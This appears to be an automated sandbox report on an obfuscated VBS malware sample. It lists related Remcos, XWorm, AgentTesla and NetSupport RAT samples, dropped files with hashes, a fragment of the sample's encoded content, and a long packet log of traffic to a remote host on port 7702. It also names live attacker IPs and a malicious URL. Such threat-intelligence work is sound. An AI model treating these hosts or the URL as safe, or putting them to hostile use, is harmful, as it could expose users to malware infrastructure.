	SPEC.xls	Get hash	malicious	Remcos, PureLog Stealer	Browse	185.29.10.52
	tMkxadpE7f.vbs	Get hash	malicious	Remcos	Browse	109.248.144.231
	Pt Mills Request.exe	Get hash	malicious	XWorm	Browse	109.248.144.181
	NySTAwCpzK.rtf	Get hash	malicious	Remcos	Browse	109.248.144.173

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Desktop\FileCopy.vbs.exe	Pyyidau.vbs	Get hash	malicious	NetSupport RAT	Browse
	Pyyidau.vbs	Get hash	malicious	NetSupport RAT	Browse
	GRAINS.vbs	Get hash	malicious	AgentTesla	Browse
	PRODUCT-PICTURE.bat	Get hash	malicious	AgentTesla	Browse
	Fattura-24SC-99245969925904728562.vbs	Get hash	malicious	Discord Token Stealer	Browse
	ilZhNx3JAc.bat	Get hash	malicious	AgentTesla	Browse
	87M9Y3P4Z7.bat	Get hash	malicious	AgentTesla	Browse
	ip4.cmd	Get hash	malicious	Unknown	Browse
	https://mariculturasalinas.com/za/zap/enter.php	Get hash	malicious	Unknown	Browse
	849128312.cmd	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\InstallUtil.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1434
Entropy (8bit):	5.342612360333169
Encrypted:	false
SSDEEP:	24:ML9E4KlKDE4KhKiKhRAE4KzecKIE4oKNzKoZsXE4qdKqE4Kx1qE4TE4KmJE4j:MxHKlYHKh3oRAHKzectHo60H8HKx1qHd
MD5:	DED544725C0FC4A9C1A4064260007227
SHA1:	C196627F0D20E14F0240201AC995E9BEBC399C29
SHA-256:	82F1B25C0D0DC1B72BFE5E837B668E0087D7E469CCCF909924B72FEC5C1C8F10
SHA-512:	41A800B36C9017CB5B9D427C9AD317ACAC680FCE5FF85391497F6BE489782423B7E22A27CD7211C2E110B5465418747841A42A16C40D1A41A0CD27D192F2A7A5
Malicious:	false
Reputation:	low
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Managemen

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gphzvc5t.glg.psm1

Download File

Process:	C:\Users\user\Desktop\FileCopy.vbs.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j5xirths.g21.ps1

Download File

Process:	C:\Users\user\Desktop\FileCopy.vbs.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\Desktop\FileCopy.vbs.exe

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	433152
Entropy (8bit):	5.502549953174867
Encrypted:	false
SSDEEP:	6144:MF45pGVc4sqEoWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:95pGVcwW2KXzJ4pdd3klnnWosPhnzq
MD5:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
SHA1:	F5EE89BB1E4A0B1C3C7F1E8D05D0677F2B2B5919
SHA-256:	73A3C4AEF5DE385875339FC2EB7E58A9E8A47B6161BDC6436BF78A763537BE70
SHA-512:	6E43DCA1B92FAACE0C910CBF9308CF082A38DD39DA32375FAD72D6517DEA93E944B5E5464CF3C69A61EABF47B2A3E5AA014D6F24EFA1A379D4C81C32FA39DDBC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Pyyidau.vbs, Detection: malicious, Browse Filename: Pyyidau.vbs, Detection: malicious, Browse Filename: GRAINS.vbs, Detection: malicious, Browse Filename: PRODUCT-PICTURE.bat, Detection: malicious, Browse Filename: Fattura-24SC-99245969925904728562.vbs, Detection: malicious, Browse Filename: ilZhNx3JAc.bat, Detection: malicious, Browse Filename: 87M9Y3P4Z7.bat, Detection: malicious, Browse Filename: ip4.cmd, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: 849128312.cmd, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......".z.fg..fg..fg..x5..dg..o...lg..r...eg..r...}g..fg...g..r...cg..r...og..r...ng..r..gg..r...gg..Richfg..........................PE..L...s/.0..........................................@......................................@...... ...........................".......0...}......................\|....I..T............................................ ...............................text...\........................... ..`.data...8...........................@....idata....... ......................@..@.rsrc....}...0...~..................@..@.reloc..\|...........................@..B........................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	ASCII text, with very long lines (65536), with no line terminators
Entropy (8bit):	6.358157902482838
TrID:
File name:	FileCopy.vbs
File size:	2'525'629 bytes
MD5:	2dfb7b7730d6c1728c756db5ec669f87
SHA1:	1c4892af68c0ee8ce4d73a16bbf3179f1bdff526
SHA256:	1720f6ba7249b11a24c319d496a66801896585a97498255bdf923ba29659aadc
SHA512:	294701ef916b58ec78484bfb3f0a314ff54459d83fabfee9b5f9314b2817a9828fc6e6d3d9f61024338a4899b3b08cba180384c0ef669fafa46566dce662ea05
SSDEEP:	24576:1bRRtoo5gDCrt7hS6r+cK6cN5fKyGdugTmmHZ9I9HRZnhBmdNDVb4d0IRnek8hmp:1bHWPCL64TNI1R1mdrEZvv14/nomfCz
TLSH:	41C501661E20DEC93784A83D7FAC2560E3E0DE772D77CA505257EB9E1B2A9044B60F70
File Content Preview:	' +DKBPNg4Q4wbGYF4aeYEvW7ukCkufLZJYKfpdRDeQCXlhSaSHgoYPD5YNqD/OSl3JXpCEWlj6Ht7N9sxT858PNlbk+O/cp5j1lTq1UUWSSd9cVCVnC68gZ2qFuYu5+1w3PnHpKZGt7Pb3jsVeRI1Ze20tN1+5qCqnxJGFVu4Ne9meflMTqWBNrqdub3zpweKdLD5ejIP8vZYHAWU/6JXI6lLrv8Z6RdHM30j4Szjt/cKvKCqvrq8V4cC8zGg7

File Icon


Icon Hash:	68d69b8f86ab9a86

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2024 18:27:57.188719988 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:57.308801889 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:57.308898926 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:57.321707964 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:57.441947937 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:57.442007065 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:57.567830086 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:58.802613974 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:58.802779913 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:58.802829981 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:58.802865982 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:58.802886963 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:58.802922964 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:58.802943945 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:58.802977085 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:58.803023100 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:58.899466991 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:58.899569988 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:58.899583101 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:58.899595022 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:58.899668932 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:58.899668932 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:58.929657936 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:58.929761887 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:58.930011988 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:58.933839083 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:58.934009075 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:58.934067965 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:58.942408085 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:58.986080885 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.004807949 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.004833937 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.004897118 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.009067059 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.010708094 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.010762930 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.010807037 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.018959045 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.019048929 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.019084930 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.027455091 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.027512074 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.100667953 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.100867987 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.100920916 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.104707003 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.104855061 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.104904890 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.112190962 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.112361908 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.112473965 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.119992971 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.120300055 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.120366096 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.127609968 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.127630949 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.127681017 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.135166883 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.135308027 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.135375977 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.143066883 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.143150091 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.143261909 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.150636911 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.150693893 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.150842905 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.158201933 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.204828024 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.224483967 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.224507093 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.224566936 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.227586031 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.227686882 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.228184938 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.234066010 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.236371040 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.236418962 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.236459970 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.242774963 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.242889881 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.242913961 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.249279022 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.249336004 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.249368906 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.255525112 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.255570889 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.255616903 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.261929035 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.261976957 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.262022972 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.310695887 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.310766935 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.310786009 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.315040112 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.315306902 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.315345049 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.315371990 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.315387964 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.318392038 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.318475008 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.318530083 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.322552919 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.322649002 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.322782040 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.327449083 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.327584028 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.327640057 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.332393885 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.332494020 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.332556009 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.337270021 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.337359905 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.337414026 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.342149973 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.342199087 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.342248917 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.347107887 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.347188950 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.347244024 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.351970911 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.352077961 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.352138996 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.356796026 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.356916904 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.357075930 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.361752987 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.361946106 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.363389015 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.366718054 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.366825104 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.366885900 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.371083975 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.371182919 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.371236086 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.425643921 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.425719976 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.425786018 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.427704096 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.427802086 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.427845001 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.432437897 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.432490110 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.432532072 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.436428070 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.436549902 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.436594963 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.440927029 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.441082001 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.441129923 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.445486069 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.445566893 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.445641994 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.449908972 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.449955940 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.450001001 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.454365969 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.454447985 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.454581022 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.458832979 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.458993912 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.459054947 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.463310957 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.463429928 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.463808060 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.467700958 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.467814922 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.467859030 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.471920013 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.471941948 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.472003937 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.510368109 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.510481119 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.510529995 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.511611938 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.512063980 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.512171030 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.512213945 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.514523983 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.514569044 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.514631987 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.517060995 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.517075062 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.517133951 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.519515991 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.519561052 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.519603014 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.522022963 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.522083044 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.522100925 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.524475098 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.524532080 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.524594069 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.526993036 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.527050018 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.527131081 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.529433966 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.529474020 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.529552937 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.531932116 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.532008886 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.532048941 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.534406900 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.534455061 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.534508944 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.536883116 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.536942005 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.536987066 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.539360046 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.539449930 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.539458990 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.541856050 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.541915894 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.541955948 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.544357061 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.544397116 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.544444084 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.546813011 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.546868086 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.546902895 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.549278975 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.549335003 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.549371004 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.551822901 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.551920891 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.551954031 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.554326057 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.554347038 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.554393053 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.595530987 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.630808115 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.630825043 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.630887032 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.631398916 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.631587029 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.631658077 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:27:59.633830070 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.633883953 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:27:59.633933067 CET	49720	7702	192.168.2.9	185.29.9.118
